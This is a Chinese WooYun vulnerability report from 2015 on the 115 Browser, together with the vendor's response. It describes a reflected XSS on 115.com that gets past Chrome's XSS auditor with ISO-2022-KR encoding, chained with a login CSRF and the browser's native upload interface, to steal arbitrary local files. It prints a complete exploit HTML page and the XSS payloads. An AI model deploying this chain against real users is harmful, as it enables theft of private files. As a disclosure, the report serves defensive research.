当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141347

漏洞标题:115浏览器设计缺陷可导致远程窃取用户系统上的任意文件

相关厂商:115网盘

漏洞作者: 数据流

提交时间:2015-09-15 17:19

修复时间:2015-12-14 21:32

公开时间:2015-12-14 21:32

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-15: 细节已通知厂商并且等待厂商处理中
2015-09-15: 厂商已经确认,细节仅向厂商公开
2015-09-18: 细节向第三方安全合作伙伴开放
2015-11-09: 细节向核心白帽子及相关领域专家公开
2015-11-19: 细节向普通白帽子公开
2015-11-29: 细节向实习白帽子公开
2015-12-14: 细节向公众公开

简要描述:

这漏洞两个月前发现的了..我只能说这利用比较猥琐...现在115网盘要强制用115浏览器才能登陆了 (┬_┬)好狠啊,抓住了人们的刚需

详细说明:

结合了三处缺陷才能触发
一:
115浏览器结合了115网盘,提供了在浏览器直接登陆115账号的功能

3.jpg


而在浏览器的下载模块添加了115网盘的上传功能

2.jpg


在浏览器登陆115账号的用户可以直接通过浏览器上传本地文件到网盘
分析一下 chrome://downloads/#upload的上传功能引用了

http://115.com/static/browser/download/js/upload.js


那么就代表只要取得115.com的域就有可能操作chrome://downloads/#upload
先看看upload.js

var init = function () {
_TCache.Uploader = window['uploadInterface'];
if (_TCache.Uploader) {
UPLOAD_CONFIG_NEW.target = "U_1_0";
UPLOAD_CONFIG_NEW['use_type'] = 2;
UPLOAD_CONFIG_NEW['file_range'] = {
"2": "0-67108864", "1": "67108864-0"
};
......
Install: function () {
if (!window['uploadInterface']) {
alert('控件未初始化');
return false;
}
return true;
}
}
......


里面的方法很多 直接调用uploadInterface.CreateUploadDragTask方法来上传文件

function (path, target) {  native function NativeCreateUploadDragTask();  return NativeCreateUploadDragTask(path, target);}


target就是初始化配置里面的UPLOAD_CONFIG_NEW.target = "U_1_0";
代表在网盘的目录ID

uploadInterface.CreateUploadDragTask("C:\/xxx","U_1_0")


这样就能调用浏览器的上传了

1234.png


二:上传文件的方法分析出后就要找特权域了
刚才提到115.com就是了,直接在主站找到一个反射xss

http://115.com/xhprof/callgraph.php?run=xxx


但是有chrome 的xss auditor

4.jpg


最近老外爆出的一个bypass也过不了

<svg><script>/<1/>alert(document.domain)</script></svg>


这个bypass在最新版的chrome都过了,但是在115浏览器就过不了。
后来经@phithon给的一个旧版chrome的bypass绕过了,因为115内置的chrome版本比较老,所以最新的bypass对他也不适用。
最后得出的bypass是因为chrome对ISO-2022字符编码没有进行检测
所以可以利用ISO-2022的编码来绕过

http://115.com/xhprof/callgraph.php?run=%3Cmeta%20charset=ISO-2022-KR%3E%3Cimg%20src=1%20onerror%0f=alert(1)%3E


4.jpg


(此tip在三年前就被老外提出了,现在在chrome早已修复,但有些使用较旧chrome内核的浏览器有可能存在)
三:
特权域上的xss解决了。另外由于文件是上传到对方账号的网盘上,所以我们要登陆到对方的网盘才可以拿到我们窃取的文件。本来是想着直接利用xss到cookie就可以登陆别人网盘拿到窃取到的东西了,但却发现115启用了httponly

7.jpg


然后就找了好几天能突破httponly的地方,但没有找到.后来就想到了一个猥琐的方法,把对方登陆的网盘账号,换成自己的网盘账号,不就可以拿到盗窃的文件了.
这里就想到用csrf的方式来登陆自己的账号,也不需要去分析115的登陆加密算法
登陆时直接抓包

1.jpg


把所有字段都写成一个表单自动提交

漏洞证明:

最后给出EXP:

<html>
<title>115 Browser Test by 数据流</title>
<head>
<script>
var img = document.createElement("img");
img.src="http://passport.115.com/?ac=logout&goto=";
document.body.appendChild(img); //先让对方登陆的账号退出
</script>
</head>
<form action="http://passport.115.com/?ct=login&ac=auth&token=9facc1c735bfd1f90bb535f0dfde1da2&nonce=f6e5664f6601017a830e95d0cafc43fd&account=XXX&time=1442294158" method="POST">
<input type="text" name="data" value="xxx">
<input type="text" name="goto" value="http://115.com/?mode=wangpan">
</form>
<script>
function login()
{
document.forms[0].submit();
}
setTimeout(function() { login(); }, 2000);
var i = document.createElement("iframe");
i.width=0
i.height=0
i.src="http://115.com/xhprof/callgraph.php?run=%3Cmeta%20charset=ISO-2022-KR%3E%3Cimg%20src=1%20onerror%0f=uploadInterface.CreateUploadDragTask('C:\/test.txt',%22U_1_0%22)"
document.body.appendChild(i);
</script>
</html>


以上表单上的字段都要自己抓包去替换哦,生成出来的登陆包数据是长期有效的,短时间内不会失效,可以重复使用登陆.

5.jpg


6.jpg


成功窃取到指定路径的文件
顺便把代码放到我的服务器上吧
测试地址:http://115browser.com/115_getfile_wooyun.html

修复方案:

1 修复主站XSS
2 加强边界权限控制

版权声明:转载请注明来源 数据流@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-15 21:30

厂商回复:

这实质上属于CSRF攻击,利用手法很精彩!但是攻击成本比较高。
1)由于验证机制不断加强,采用Cookie登陆等方式基本无效,同时高质量的XSS也很少,所以此处作为CSRF利用;
2)客户端加密也在升级中,有几处登陆字段验证暂时没开启,很快上线了;
3)最后利用步骤比较麻烦,需要穷举相关文件是否存在。
客户端APP和浏览器还在不断升级中!感谢支持! :)
赞下洞主的研究精神。

最新状态:

暂无